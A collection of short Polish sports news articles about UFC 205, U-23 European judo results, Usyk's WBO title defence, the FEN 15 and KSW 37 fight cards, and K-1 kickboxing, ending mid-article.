Pas UFC w kategorii słomkowej nadal w rękach Joanny Jędrzejczyk. Karolina Kowalkiewicz była żądna zwycięstwa i postawiła trudne warunki mistrzyni. Pięć emocjonujących rund sędziowie ocenili na korzyść Jędrzejczyk.

Przed pojedynkiem niektórzy spisywali Kowalkiewicz na straty i wieścili, że 29-latka z Olsztyna ją pożre. Była mistrzyni KSW chciała spełnić marzenia i walczyła jak „równy z równym” z Jędrzejczyk.

Starcie z charakterem

Pojedynek o najwyższą stawkę zrodził ogromne emocje, zwłaszcza w polskich domach. Wszyscy z niecierpliwością oczekiwali na święto MMA. Dobra postawa Kowalkiewicz zaowocowała tym, że po trzech zwycięskich walkach w UFC dostąpiła walki o pas. Od początku łodzianka chciała pokazać, iż zasłużyła na ten pojedynek. Pierwsza runda wyrównana, choć mistrzyni zadała kilka celnych ciosów. Kowalkiewicz szukała klinczu, jednak Jędrzejczyk skutecznie się uwolniła.

W drugiej rundzie była mistrzyni KSW postanowiła niepokoić rywalkę. Jędrzejczyk walczyła spokojnie, ale punktowała Kowalkiewicz. Stosowała niskie kopnięcia, które miały zgasić zapędy łodzianki. Kowalkiewicz ruszyła po sprowadzenie, jednak bezskutecznie. Jędrzejczyk kontrolowała sytuację i nie pozwoliła rywalce rozwinąć skrzydeł, choć ta bardzo chciała. Trzecia runda miała podobny przebieg jak poprzednie. Kowalkiewicz starała się zbliżyć do Jędrzejczyk, jednak ta postawiła na wymiany w stójce. Mistrzyni imponowała precyzją. 

Czwarta odsłona mogła być przełomowa. 31-letnia Kowalkiewicz stanęła przed ogromną szansą na pokonanie Jędrzejczyk. Mistrzyni UFC znalazła się w trudnym położeniu po jednej z kombinacji. Posiadaczka pasa w kategorii słomkowej była oszołomiona, co starała się wykorzystać Kowalkiewicz. Słała w stronę rywalki kolejne ciosy, a Jędrzejczyk opadała z sił. Łodzianka poczuła, że może sięgnąć po pas. Ostatnia runda nie była już tak szybka i energiczna jak poprzednia. Jędrzejczyk starała się rozegrać ją spokojnie, a Kowalkiewicz była zmęczona. Pod koniec rundy mistrzyni zadała kilka mocnych łokci. 

Stoczyły morderczy i emocjonujący bój. Jędrzejczyk starała się wykorzystać swoje doświadczenie i mądrze dysponować siłami. Z kolei dla Kowalkiewicz nadszedł moment, w którym mogła zaprezentować swój repertuar. Ostatecznie sędziowie byli zgodni i wszyscy punktowali 49:46 na korzyść Jędrzejczyk.

Drugi pas Conora

Conor McGregor tworzy nową historię! Irlandczyk pokonał Eddiego Alvareza i wywalczył drugi pas UFC.

McGregor był głodny kolejnego tytułu i od razu ruszył na rywala. Lewy sierpowy powalił Amerykanina na deski, jednak mistrz nie dawał za wygraną. Wstał i walczył, ale ograniczał się do obrony przed szalejącym McGregorem. W drugiej rundzie Alvarez szukał obalenia, jednak Irlandczyk nie pozwolił sprowadzić walki do parteru. Potężny sierp i Amerykanin znalazł się na deskach. McGregor mistrzem wagi lekkiej! Irlandczyk ma na swoim koncie także tytuł w wadze piórkowej, który wywalczył pokonując Jose Aldo.

W kategorii półśredniej Tyron Woodley bronił tytułu w starciu ze Stephenem Thompsonem. Pięciorundowy pojedynek zakończył się remisem. W związku z tym pas pozostał w rękach Woodleya. 

Yoel Romero lepszy od Chrisa Weidmana. W trzeciej rundzie Kubańczyk potraktował rywala kolanem w głowę i dobił ciosami. Była mistrzyni w kategorii koguciej Miesha Tate przegrała na punkty z Raquel Pennington. Z kolei Frankie Edgad okazał się lepszy od Jeremy'ego Stephensa.

fot. sherdog.com

KM

Młodzież bez medalu

Młodzieżowe Mistrzostwa Europy U-23 w Tel Avivie w judo pod dyktando Rosjan. Polakom nie udało się wywalczyć żadnego medalu.

Do Izraela pojechała dwunastoosobowa kadra, w której nie brakowało zawodników notujących w tym roku dobre występy. Wystarczy zwrócić uwagę na Piotra Kuczerę (90kg). 21-latek z Rybnika w tegorocznych mistrzostwach Europy seniorów sięgnął po brąz. W Tel Avivie sukcesu nie udało się powtórzyć.

Panie były blisko

Po starcie Kuczery obiecywano sobie wiele. Zwłaszcza, że we wrześniu potwierdził formę trzecim miejscu wywalczonym w Grand Prix w Zagrzebiu. Na jego korzyść przemawiało również 37. miejsce w światowym rankingu. Jednak w Tel Avivie Polak przepadł już w pierwszej rundzie. Jego rywalem był Mihael Zgank, który szukał swojej szansy i w końcu ją znalazł. Słoweniec zapisał na swoim koncie trzy shido, ale przeprowadził akcję punktowaną jako yuko i mógł cieszyć się ze zwycięstwa.

Rok temu w Bratysławie po brązowy medal młodzieżowych mistrzostw Europy sięgnęła Anna Borowska (57kg). Tym razem Polka przepadła już w pierwszej walce. Borowska przegrała z Adi Grossman jedną karą shido. Szybko z rywalizacją pożegnała się Urszula Hofman (70kg). 21-latka jechała do Tel Avivu jako brązowa medalistka poprzednich mistrzostw, ale tym razem już w pierwszej walce trafiła na dobrze dysponowaną rywalkę. Elisavet Teltsidou w niecałą minutę rozstrzygnęła pojedynek na swoją korzyść. Ostatecznie Greczynka w Izraelu sięgnęła po brązowy medal.

Nieco lepiej wypadła Beata Pacut (78kg), która w ubiegłym roku w Bratysławie zajęła trzecie miejsce. Start w Tel Avivie zakończyła na siódmej pozycji. Zwyciężczyni tegorocznego Pucharu Świata w Warszawie zmagania w młodzieżowych mistrzostwach Europy zaczęła od wygranej z Rumunką Alexandrą Mazilu. W kolejnym starciu lepsza okazała się Anastasiya Turchyn, która w Izraelu sięgnęła po złoto. Pojedynek repasażowy to liczne próby Pacut, która zapisała na swoim koncie trzy kary shido i walnie przyczyniła się do wygranej Włoszki Giorgii Stangherlin.

Najlepsze wyniki spośród naszych reprezentantów zanotowały Paula Kulaga (78kg) oraz Anna Załęczna (+78kg), które w swoich kategoriach zajęły piąte lokaty. Pierwsza wygrała dwie walki i w półfinale zatrzymała ją Antonina Shmeleva. Kulaga walczyła o brąz z Stangherlin, która wcześniej pokonała Beatę Pacut. Włoszka miała metodę na Polki. Obie przegrały… karami shido. Załęczna zaczęła od wygranej z Michelle Boyle, jednak w kolejnym starciu lepsza okazała się Ivana Sutalo. Ostatecznie Chorwatka triumfowała w Tel Avivie. W repasażach yuko dało zwycięstwo Załęcznej i walkę o brąz. Medal Polce sprzątnęła Jodie Myers.

Pod dyktando Rosji

Rosjanie brylowali w Tel Avivie, choć wywalczyli dwa złote medale, tak jak Ukraińcy i Grecy. Z tym, że reprezentanci Sbornej łącznie zdobyli dziesięć krążków. Z kolei Ukraińcy sięgnęli po trzy, a Gruzini po dwa medale.

W młodzieżowych mistrzostwach Europy U-23 wystartowało 321 judoków.

KM

Trump obejrzy polską wojnę?

W ostatnich dniach cały świat żył rywalizacją o fotel prezydenta Stanów Zjednoczonych Ameryki. Wybory wygrał kontrowersyjny Donald Trump, który w wyścigu do Białego Domu pokonał Hillary Clinton. W nocy z 12 na 13 listopada w Nowym Jorku może być jednym z widzów gali UFC 205, podczas której o pas w kategorii słomkowej zmierzą się Joanna Jędrzejczyk i Karolina Kowalkiewicz.

Szykuje się emocjonujące widowisko. Poziom sportowy będzie gwarantowany przez czołowych zawodników UFC takich jak Conor McGregor, Donald Cerrone czy Chris Weidman. Właściciel najlepszej organizacji MMA na świecie zdradził, że galę może uświetnić obecność 45. prezydenta USA.

Może się pojawi

Dan White doskonale zna Trumpa, który swego czas pozwolił na organizację gali UFC w kasynie Atlantic City. Wtedy MMA było jeszcze dość anonimowe, a między panami narodziły się dobre relacje. Minęło kilkanaście lat i wszystko uległo zmianie. UFC i Trump są w zupełnie różnych miejscach, ale zdecydowanie są to zmiany in plus. 

W czwartek, 9 listopada, miliarder spotkał się w Nowym Jorku z Barackiem Obamą, którego zastąpi na prezydenckim stanowisku. Niewykluczone, że Trump zagości nieco dłużej w najludniejszym mieście USA. Szczegóły ujawnia Dan White. – Trump powiedział mi, że pojawi się na gali, jeżeli zostanie wybrany na prezydenta. Nie wiem, czy Donald wie dokładnie jakie obowiązki go czekają – przedstawia właściciel UFC. – Nie będę z nim przy telefonie każdego dnia. Mam nadzieję, że zrobi dużo dla naszego kraju – dodaje.

Obecność Trumpa nie wpłynie na poziom zainteresowania galą UFC 205. O ten zadbają zawodnicy. W Nowym Jorku dojdzie do trzech starć, których stawką będą pasy mistrzowskie.

Polskie marzenia

Miłośnicy MMA znad Wisły mogą być dumni. W Nowym Jorku zmierzą się dwie Polki, które powalczą o pas w kategorii słomkowej. Joanna Jędrzejczyk przebojem wdarła się do UFC i po dwóch zwycięskich walkach stanęła do rywalizacji o tytuł. Podczas gali UFC 185 w Dallas uporała się z Carlą Esparzą, którą zastopowała w drugiej rundzie. Dodatkowo otrzymała 50 tysięcy dolarów za występ wieczoru. W lipcu uporała się z Claudią Gadelhą (drugi raz w UFC) i po raz trzeci obroniła tytuł. Teraz zmierzy się ze swoją rodaczką. 

Najpierw Karolina Kowalkiewicz zdominowała żeńską rywalizację w KSW, a teraz chce podbić UFC, w której debiutowała blisko rok temu. Trzy zwycięskie walki okazały się przepustką do walki o pas mistrzowski. Jędrzejczyk jest mocna i skuteczna, z kolei o Kowalkiewicz to niewygodna rywalka. Zapowiada się biało-czerwone święto w Nowym Jorku. Jedno jest pewne – kategoria słomkowa pozostanie w polskich rękach.

W Nowym Jorku pasa w wadze średniej będzie bronił Tyron Woodley. 34-letni Amerykanin tytuł wywalczył na UFC 201, kiedy już w drugiej minucie znokautował Robbie'go Lawlera. Najbliższym rywalem Woodleya będzie Stephen Thompson, który wygrał siedem kolejnych walk. W czerwcu po pięciorundowym boju pokonał Rory'ego MacDonalda.

Wyjątkowe ma być starcie Eddie'go Alvareza z Conorem McGregorem. Stawką walki wieczoru ma być pas kategorii lekkiej. McGregor chce tworzyć nową historię. Irlandczyk ma już na swoim koncie pas w kategorii piórkowej i chce sięgnąć po kolejny. Alvarez tanio skóry nie sprzeda.

KM

Mistrzostwa Polski Muay Thai Starachowice 2016 – Zapowiedź

Zapraszamy na krotki film zapowiedź Mistrzostw Polski Muay Thai, które odbęda się w dniach 9-11 grudnia br. w Starachowicach. Organizatorami mistrzostw są Polski Związek Kickboxingu oraz klub Dragon Starachowice. Warto przypomnieć, że Mistrzostwa Polski Muay Thai odbęda sie po raz drugi w Starachowicach zatem spodziewać sie mozemy perfekcyjnej organizacji oraz wspaniałych walk.

[kod]

Usyk poznał rywala

W pierwszej obronie pasa mistrzowskiego WBO w wadze junior ciężkiej Ołeksandr Usyk spotka sie z Thabiso Mchunu. Pierwotnie ukraiński czempion miał rywalizować z Damirem Beljo.

29-latek wszedł na szczyt w wadze junior ciężkiej, ale teraz stanie przed kolejnym wyzwaniem. Stara prawda mówi, że na szczyt łatwiej wejść niż się na nim utrzymać. Pierwszy pojedynek w roli mistrza stoczy 17 grudnia.

Zagości poza Europą

Usyk wszedł na najwyższy poziom. Jeszcze niedawno był dobrze rokującym pięściarzem, który posiada ogromne umiejętności. Kawał potężnie zbudowanego chłopa budził respekt, jednak zwracano uwagę na nikłe doświadczenie zawodowe urodzonego w Symferopolu pięściarza. Usyk dostał szansę rywalizacji z Krzysztofem Głowackim o pas WBO w kategorii junior ciężkiej. Spotkało się dwóch mocnych pięściarzy. 

Wszyscy w pamięci mieli piekielnie trudny i pełen zwrotów akcji pojedynek „Główki” z Marco Huckiem, w którym Polak sięgnął po pas. Nikt się nie spodziewał, że Niemiec bośniackiego pochodzenia może stracić tytuł. A jednak! W przypadku rywalizacji z Głowackiego z Usykiem podejrzewano, że pas może zmienić właściciela.

Tak się stało 17 września w gdańskiej Ergo Arenie. Ukrainiec pokazał siłę, charakter oraz dojrzałość i wygrał jednogłośnie na punkty. Złoty medalista olimpijski z Londynu zapisał kolejną piękną kartę w karierze, ale musi potwierdzić, że zasługuje na pas. Najbliższe walki to zweryfikują. Teraz Usyk stanie się celem dla innych bokserów i będzie atakowany z każdej strony. Wydaje się, że jest odporny i twardy psychicznie.

Zaplanowana na 17 grudnia walka Usyka z Thabiso Mchunu odbędzie się w Inglewood. Dla Ukraińca będzie to pierwsze starcie w zawodowej karierze poza Europą. Wiadomo –  rywalizacja w Stanach to ogromny prestiż i zupełnie inne pieniądze. Usyk wdrapał się na pozycję gwiazdy. Z tronu postara się go zepchnąć Thabiso Mchunu.

Rywal mocny u siebie

28-letni bokser z Republiki Południowej Afryki stoczył 19 walk, z czego 17 wygrał. Na zawodowym ringu debiutował w 2007 roku. Dotychczas stoczył dwa pojedynki w Stanach Zjednoczonych i wykazał się stuprocentową skutecznością. O tych walkach warto pamiętać, bo Mchunu pokonał nie byle kogo. Najpierw uporał się z Eddie'm Chambersem, który swego czasu rywalizował z Władimirem Kliczko o prymat w wadze ciężkiej. W kolejnym starciu w USA pokonał Olanrewaju Durodolą, niedoszłego przeciwnika Krzysztofa Włodarczyka.

Pretendent do pasa WBO w maju wywalczył tymczasowy panafrykański pas WBA. Wcześniej Mchunu zdobywał tytuły krajowe, zapisał na swoim koncie także pas NABF. Ostatnią porażkę zanotował w maju 2015 roku, kiedy to przez nokaut przegrał z Ilungą Makabu.

Z pewnością Usyk będzie faworytem w pierwszej obronie tytułu, do której dojdzie 17 grudnia w Inglewood. Dla Mchunu możliwość walki o pas jest dużym wyróżnieniem. Pierwotnie ukraiński mistrz miał spotkać się z Damirem Beljo, jednak ten wycofał się z rywalizacji ze względu na niedyspozycję spowodowaną kontuzją nogi.

Ostatni pojedynek w karierze w Inglewood ma stoczyć Bernard Hopkins. Jego rywalem będzie Joe Smith Jr.

Fot. en.molbuk.ua

KM

Mistrzowskie wyzwanie młodzieży

Tel Aviv czeka na judoków, którzy wystartują w młodzieżowych mistrzostwach Europy U-23. Impreza odbędzie się w dniach 11-12 listopada. Polacy staną przed trudnym wyzwaniem. Muszą zmierzyć się z mocnymi rywalami i wynikiem z poprzedniego roku, kiedy sięgnęli po sześć medali.

Bratysława okazała się szczęśliwa dla biało-czerwonych. Pytanie, czy Polacy podtrzymają dobrą passę. Do Tel Avivu wybierają się trzy zawodniczki, które w ubiegłym roku wywalczyły medale podczas młodzieżowych mistrzostw Europy.

Powtórzyć sukces

Ponownie na podium stanąć będzie chciała Anna Borowska (57kg). Judoczka Polonii Rybnik w Bratysławie sięgnęła po brązowy medal. Z kolei w 2014 roku świętowała złoto podczas mistrzostw Europy juniorów. Borowska coraz śmielej przebija się w rywalizacji seniorskiej. Tegoroczne starty musi uznać za udane, gdyż w Pucharze Europy w Sarajewie zajęła 1. miejsca, a w Warszawie i Tallinie stanęła na najniższym stopniu podium.  Tak dobrych wyników nie ma Urszula Hofman, brązowa medalistka z Bratysławy. 21-latka judoczka w tym roku zaprezentowała się w Pucharze Europy w Tallinie, jednak odpadła już w pierwszej rundzie. 

Ostatnie dwa lata to owocny okres w karierze Beaty Pacut (78kg). Regularnie zajmowała miejsca w czołówce podczas występów w Pucharach Świata juniorów. W 2015 roku wywalczyła 5. miejsce na mistrzostwach świata juniorów i brąz podczas europejskiego czempionatu. Coraz lepiej prezentuje się na poziomie seniorskim. W lutym triumfowała podczas zmagań Pucharu Świata w Warszawie. Blisko podium była w Dubrovniku i Podcetrtek, gdzie zajmowała piąte miejsca. We wrześniu zdobyła brąz podczas Pucharu Europy w Tallinie.

Trzy ciekawe nazwiska, jednak każda z naszych judoczek jest na innym etapie. Hofman ma najmniej doświadczenia na poziomie seniorskim, ale w startach juniorskich radzi sobie dobrze. Pacut to 60. zawodniczka światowego rankingu w kategorii 78kg, a Anna Borowska jest 83. w 57kg.

Medal seniorski, czas na młodzieżowy

Piotr Kuczera (90kg) to bohater tegoroczny mistrzostw Europy seniorów w Kazaniu. 21-latek z Rybnika sięgnął po brązowy medal, co sprawiło, że znalazł się na ustach wszystkich. W Tel Avivie Kuczera ma potwierdzić swój potencjał. Pytanie, czy właściwie musi? Wystarczy przypomnieć, że w zeszłym roku zdobywał brązowe medale podczas mistrzostw Europy i świata. Polak jest mocny i poczyna sobie coraz śmielej. Bez wątpienia jest naszą medalową nadzieją podczas MME.

W Tel Avivie zaprezentuje się dwunastoosobowa kadra Polski. Oprócz Borowskiej, Hofman, Pacut, Kuczery zaprezentują się: Julia Kowalczyk (57kg), Sandra Lickun (70kg), Paula Kulaga (78kg), Anna Załęczna (+78kg), Adrian Wala (60kg), Patryk Wawrzyczek (66kg), Wiktor Mrówczyński (73kg) oraz Damian Stępień (81kg).

Fot. PZJudo

KM

Historia lubi się powtarzać

Marcin Held inaczej wyobrażał sobie debiut w UFC, ale mimo porażki, pozostawił po sobie dobre wrażenie. Początki zawsze są trudne. 24-latek podobnie zaczynał swoją przygodę z Bellatorem.

Zewsząd słychać, że Held to talent czystej wody, przed którym przyszłość usłana sukcesami stoi otworem. Zawodnik z Tych pokonuje kolejne szczeble kariery. Wybił się w Bellatorze, więc mógł trafić tylko w jedno miejsce – do oktagonu UFC.

Sanchez nie dał się

Diego Sanchez miał sprawdzić umiejętności debiutującego w najlepszej organizacji MMA na świecie Helda. 34-letni Amerykanin zna UFC niemalże z każdej strony. Sanchez i Held to dwa różne pokolenia. Amerykanin przygodę z UFC zaczął od programu The Ultimate Fighter. Dotarł do finału, w którym w pierwszej rundzie pokonał Kenny'ego Floriana. Dopiero trzy lata później Held zaprezentował się na gali Abak Moto. 

Sanchez to ciekawa postać. Toczył pojedynki w czterech kategoriach wagowych. W 2006 roku wykryto w jego organizmie marihuanę, co wiązało się z zawieszeniem na trzy miesiące. Najlepszy okres w karierze Sancheza to lata 2007-2009, które zwieńczyła walka o tytuł wagi lekkiej z B.J. Pennem. Popularny „The Nightmare” poległ i później popadł w przeciętność. Za porażkę z Joe Lauzonem zrehabilitował się w starciu z Heldem, które Polak rozpoczął z animuszem i ogromnymi chęciami na zwycięstwo. 24-latek zapiął rywalowi gilotynę w stójce, jednak ten wykorzystał siatkę i wyszedł z opresji. 

Apetyt rośnie w miarę jedzenia – nie inaczej było w tym przypadku. Held odważnie zaczął drugą odsłonę, ale Sanchez szybko przejął inicjatywę. Nie zrobił nic zaskakującego, lecz kontrolował przebieg walki. Nie pozwolił Heldowi na zbyt wiele, choć ten dwoił się i troił. Tym razem doświadczenie wzięło górę. 

Co ciekawe, rok temu Polak walczył o tytuł w organizacji Belltor i przegrał z Willem Brooksem. Walka miała miejsce 6 listopada, a debiut w UFC przypadł na… 5 listopada. 

Wyciągnąć wnioski

Było trochę o karierze Sancheza i jego początkach w UFC, więc teraz należy pochylić się nad Heldem. 24-latek przygodę z Bellatorem rozpoczął w 2011 roku. W ćwierćfinale turnieju wagi lekkiej przegrał z Michaelem Chandlerem. Kolejne występy kończyły się triumfami Helda, który wyrobił sobie markę w Bellatorze. W 2013 roku był w finalistą turnieju wagi lekkiej, a rok później okazał się najlepszy.

Warto zatrzymać się przy pojedynku z Chandlerem. Nie da się ukryć, że adaptacja do nowej rzeczywistości bywa trudna. Chodzi o pewne wyczucie, adaptację i wypracowanie mechanizmów pozwalających poczuć się pewnie. Ich brak wiąże się z pewnymi obawami, niepokojem.

Mówi się „pierwsze śliwki robaczywki” – coś w tym jest. Minęło ponad pięć lat i w przypadku Helda mamy swoistą powtórkę. Z pewnością wejście do Bellatora i UFC miało wyglądać inaczej. Nie należy się martwić. Held w debiucie w UFC pokazał, że ma spory potencjał i co najważniejsze – chce rywalizować. 

Patrząc na rozwój jego kariery w Bellatorze można być optymistą. Tam doszedł do walki o tytuł mistrzowski. A więc co? Trzeba czekać aż jego talent eksploduje również w UFC.

Fot. sherdog.com

KM

Nowe miejsce i termin gali FEN 15!

Sensacyjny zwrot akcji! Wbrew wcześniejszym zapowiedziom, najbliższa gala Fight Exclusive Night nie odbędzie się w marcu na warszawskim Torwarze. „Na FEN 15 Final Strike zapraszamy kibiców już 14 stycznia do Lubina!” – informuje prezes organizacji Paweł Jóźwiak. Wydarzeniem gali  w hali RCS będą aż dwie walki o pasy mistrzowskie federacji FEN.

Zmiana w przyszłorocznym terminarzu Fight Exclusive Night to spore zaskoczenie. Skąd ta niespodziewana decyzja? „W 2016 roku narzuciliśmy sobie ostre tempo, organizując aż pięć gal. Dlatego jeszcze przed FEN 14 Silesian Rage uznaliśmy, że przyda nam się dłuższa przerwa przed kolejną imprezą – wyjaśnia Paweł Jóźwiak. – Kiedy jednak opadły emocje po gali w katowickim Spodku i daliśmy sobie trochę wolnego na zregenerowanie sił, doszliśmy do wniosku, że wcale nie potrzebujemy aż tyle czasu. Szczególnie że kibice codziennie pytali nas, czy naprawdę będą musieli tak długo czekać na kolejną galę. Zmieniliśmy nasze plany przede wszystkim dla nich, ale także dla siebie, bo od organizowania gal jesteśmy już chyba uzależnieni” – dodaje prezes FEN.

Styczniowe gale FEN w lubińskiej hali RCS powoli stają się tradycją. Federacja Fight Exclusive Night gościła tu już dwa razy, organizując widowiskowe, stojące na wysokim poziomie sportowym gale FEN 5 Cuprum Heroes w ubiegłym roku i jubileuszową FEN 10 Gold Edition na początku tego roku. „Obie gale zgromadziły na trybunach komplet kibiców, którzy zrobili fantastyczną atmosferę w hali, więc spodziewamy się, że podobnie będzie za dwa miesiące. Zwłaszcza że w klatkoringu walczyć będzie wielu znakomitych zawodników z Lubina i całego Dolnego Śląska” – mówi Paweł Jóźwiak.

Najważniejszymi wydarzeniami gali FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1. W walce wieczoru o pas w kategorii do 77 kg walczyć będą niepokonani w klatkoringu FEN legniczanin Paweł Biszczak, mistrz świata K-1 z 2014 roku oraz wielokrotny mistrz Polski w karate kyokushin i kickboxingu, i Wojciech Wierzbicki ze Zgorzelca, mistrz Europy w K-1 z 2014 roku, który tymczasowy pas mistrzowski zdobył na gali FEN 12 Go For it we Wrocławiu, pokonując Belga Zakarię Baitara. O tytuł mistrzowski w Lubinie walczyć będzie także największa kobieca gwiazda federacji FEN – wrocławianka Róża Gumienna, która w 2013 roku zdobyła tytuł mistrzyni świata WAKO i Puchar Świata w formule low-kick, a rok później Puchar Świata w K-1.

Na FEN 15 Final Strike wystąpią również inni mocni zawodnicy z Dolnego Śląska, wśród nich niedawni pretendenci do pasa Marcin Zontek z Kamiennej Góry i wrocławianin Michał Michalski oraz reprezentujący Lubin Paweł Kordylewicz i Michał Miłek. W fight cardzie gali znalazły się też starcia z udziałem Adama Golonkiewicza i Mateusza Głąba.

Federacja FEN zapewnia, że przygotowania do zapowiedzianej już w październiku wiosennej gali w Warszawie idą zgodnie z planem. „Poza numerem gali nie zmienia się nic – mówi prezes Jóźwiak. – Gala na stołecznym Torwarze odbędzie się 11 marca, a wystąpią na niej między innymi mistrzowie organizacji FEN, Francuz Davy Gallon i Przemysław Mysiala, były zawodnik UFC Paweł Pawlak oraz Paweł Żelazowski, który w klatkoringu FEN stoczył dwie efektowne, zwycięskie walki”.

Sprzedaż biletów na styczniową galę FEN 15 Final Strike w Lubinie rozpocznie się już jutro – będzie je można kupić w serwisach Eventim.pl oraz KupBilet.pl.

FEN

Pudzianowski i Popek – walka czy pokazówka?

Walka na którą wszyscy czekają tuż tuż. Zostały ostatnie miesiące na przygotowania i ostatnie doszkalanie technik. To już 3 grudnia bieżącego roku odbędzie się walka która budzi tak wiele kontrowersji oraz szumu medialnego. W grudniu zmierzą się ze sobą dwaj zawodnicy w Krakowie na TAURON Arenie. Mowa tu oczywiście o zawodnikach takich jak Mariusz "Pudzian" Pudzianowski oraz Paweł "Popek" Rak. To właśnie między nimi odbędzie się walka wieczoru podczas gali KSW 37. Pudzian to wielu osobom postać znana. Były strongemn z kilkoma tytułami mistrzowskimi. Od paru lat jest to pełnoprawny i profesjonalny zawodnik MMA. Popek to natomiast znany raper oraz były zawodnik MMA. Obie osoby można określić mianem celebrytów oraz osób zdecydowanie publicznych i rozpoznawalnych.

 

Rapper Popek i MMA

Paweł "Popek" Rak to bardzo znany polski raper z wieloma sukcesami na swoim koncie. Jego wideoklipy osiągają po parędziesiąt milionów wejść i to w zaledwie kilka tygodni od premiery. Popek Monster nie jest jednak raperem któremu nagle się zamarzyło by zostać fighterem. Popek ma na swoim koncie trzy profesjonalne walki. Jednak ostatnia miała miejsce aż w 2008 roku. Tak długa przerwa w walkach była spowodowana zakazem jaki został nałożony na Pawła po jego ostatniej walce. Kibice Popka zaczęli wszczynać bójki po jego przegranej. Po tym incydencie dostał on zakaz odbywania profesjonalnych walk w Anglii. Nie mógł także wrócić do Polski ponieważ ścigany był listem gończym. Od niedawana jednak sprawa uległa przedawnieniu i raper oraz były zawodnik może legalnie przebywać na terenie Polski. Rekord Popka to aktualnie 3 rozegrane walki z czego jedna to przegrana.

Najsilniejszy człowiek w MMA

Mariusz "Pudzian" Pudzianowski to z kolei sportowiec pełną parą. Wieloletni mistrz świata w zawodach strongmen a aktualnie zawodnik MMA który nieustannie trenuje i stara się dbać o swoją kondycję. Niestety dwie ostatnie walki dla Pudziana okazały się tymi przegranymi. Walka z Pawłem Rakiem może być dla niego tą decydującą. Gdyby Pudzian przegrał trzecią walkę z rzędu to byłaby to dla niego bardzo duża porażką. Jednak wygrana sprawiłaby, że mógłby on znów wrócić na właściwe tory i być może za parę lat powalczyć o pas KSW.

KSW 37 online – prawdziwa walka czy tylko show?

Wiele osób uważa iż tegoroczna walka na KSW 37 online pomiędzy Popkiem i Pudzianem to tylko ustawione show które nie ma nic wspólnego ze sportem. Jak wiadomo w grę wchodzą na prawdę duże pieniądze. Masa osób wykupi dostęp do pay per view tylko i wyłącznie dla Popka i to nie ulega wątpliwości. Jednak czy organizatorzy KSW ryzykowaliby aż tak wiele ustawiając walkę? No i czy sami zawodnicy by się na to zgodzili. Moim zdaniem brzmi to trochę nieprawdopodobnie by Pudzianowski mógł przyjąć na przykład milion złotych za to by poddać walkę z Popkiem. Według mojego rozeznania to będzie to zwykła walka podchodząca trochę pod freak fight. Ściągnie bardzo dużą uwagę oraz masę przypadkowych osób. Jednak może to wyjść na dobre całemu KSW.

Jeśli nie wiesz gdzie można obejrzeć KSW 37 online, to polecamy zapoznać się z podlinkowanym artykułem.

Paczuski wybiera się do Bośni

Radosław Paczuski będzie miał okazję zaprezentować światu swój potencjał. Dobre występy Polaka nie uszły uwadze organizacji K-1 Global, która postanowiła włączyć go do turnieju do 85kg. Zawodnika Quniq Fight Club Warszawa zobaczymy w akcji 3 grudnia w Tuzli w Bośni i Hercegowinie.

Paczuski jest jednym z najlepszych polskich zawodników K-1, co potwierdza w kolejnych występach. Jego walki są niezwykle efektowne, dzięki czemu zyskał ogromną sympatię kibiców. Teraz znalazł się pod lupą K-1 i będzie miał okazję zmierzyć się z czołowymi zawodnikami globu.

Gwiazda rośnie jak na drożdżach

Obserwując Radosława Paczuskiego można dojść do jednego wniosku: ma wszystko to, czego potrzeba, aby osiągnąć sukces. 23-letni fighter nie próżnuje i toczy kolejne walki. Można go podziwiać podczas występów zawodowych m.in. na galach DSF. W swojej karierze stoczył już ponad 100 walk, z których zdecydowana większość kończyła się jego triumfem.

Mimo młodego wieku, Paczuski zapisał na swoim koncie wiele tytułów. Zdobywał medale podczas mistrzostw Polski w kickboxingu oraz muay thai. Paczuski prezentował się udanie na europejskiej arenie. W 2014 roku zdobył srebro podczas mistrzostw Europy muay thai IFMA. Rywalizował także na galach takich organizacji jak King of Kings, MFC czy DSF, której posiada pas mistrzowski w formule K-1 w kategorii do 81kg.

W tym roku należy odnotować zdobycie przez Polaka mistrzostwa świata K-1 Global w Atenach. Przeciwnicy nie mieli żadnych szans. Paczuski zdominował całkowicie rywali i wygrał dwie walki przez nokaut. W zakończonych niedawno mistrzostwach Europy, które odbyły się w Mariobrze 23-latek w formule low kick sięgnął po srebrny medal.

Dobrymi występami Paczuski zwrócił na siebie uwagę. 3 grudnia Polaka zobaczymy w turnieju 85 kg w Tuzli. Dla Paczuskiego to szansa, aby wypromować nazwisko i pokazać, że polski kickboxing ma ogromną siłę rażenia. W październiku na gali w Belgradzie miał wystąpić Tomasz Sarara, jednak wyeliminowała go kontuzja. Okazuje się, że polskim kibicom szybko zostanie to wynagrodzone. Wszyscy będą ściskać kciuki za Paczuskiego!

Organizacja K-1, czyli kolos na glinianych nogach?

Słów kilka o początkach organizacji K-1 pozwoli zrozumieć nam jej charakter i prestiż. Warto nadmienić, że nie są obce jej kłopoty, z którymi zmaga się od kilku lat, jednak nadal stanowi potężną markę. W związku z tym zaproszenie na galę w Bośni dla Paczuskiego należy rozpatrywać jako sukces i docenienie dotychczasowych występów.

Organizacja K-1 powstała w 1993 roku w Japonii, jej „ojcem” był Kazuyoshi Ishii. Z turniejów na szczeblu regionalnym wyłaniano finalistów corocznego K-1 World Grand Prix. Organizacja zyskała popularność i renomę. Pierwszym triumfatorem Grand Prix, które odbyło się w Tokio został Branko Cikatić. Chorwat za zwycięstwo zainkasował 100 tysięcy dolarów. Rok później triumfował Peter Aerts. Na galach organizacji K-1 rodziły się wielkie gwiazdy, które wielbiły tłumy. Jednak z czasem pojawiły się problemy. W 2011 roku działalność K-1 została tymczasowo zawieszona, co tłumaczono koniecznością przeprowadzenia restrukturyzacji organizacji. Wspominano także o rozwoju oraz poszukiwaniu nowych inwestorów. W 2012 roku organizacja trafiła w ręce Mike'a Kima. Pojawiły się nadzieje na lepsze czasy, ale sprawa K-1 jest nadal niezwykle skomplikowana. Rzecz jasna chodzi o pieniądze. W minionych latach dochodziło do sytuacji, w których organizacja nie płaciła zawodnikom za występy. Do jej „drzwi” pukali kolejni chcący odzyskać swoje należności.

K-1 stara się wiązać koniec z końcem i nadal utrzymywać pozycję silnej marki. Z pewnością tradycja przemawia za organizacją z japońskimi korzeniami. Kolejne gale, świetni zawodnicy – to mówi samo za siebie. Warto wspomnieć o epizodzie belgradzkim. O co chodzi? 27 października odbyła się gala K-1 World Grand Prix Europe w Serbii. Mike'a Kima postanowili odwiedzić Orsat Zovko, Mirko Filipović i Dzevad Poturak. 

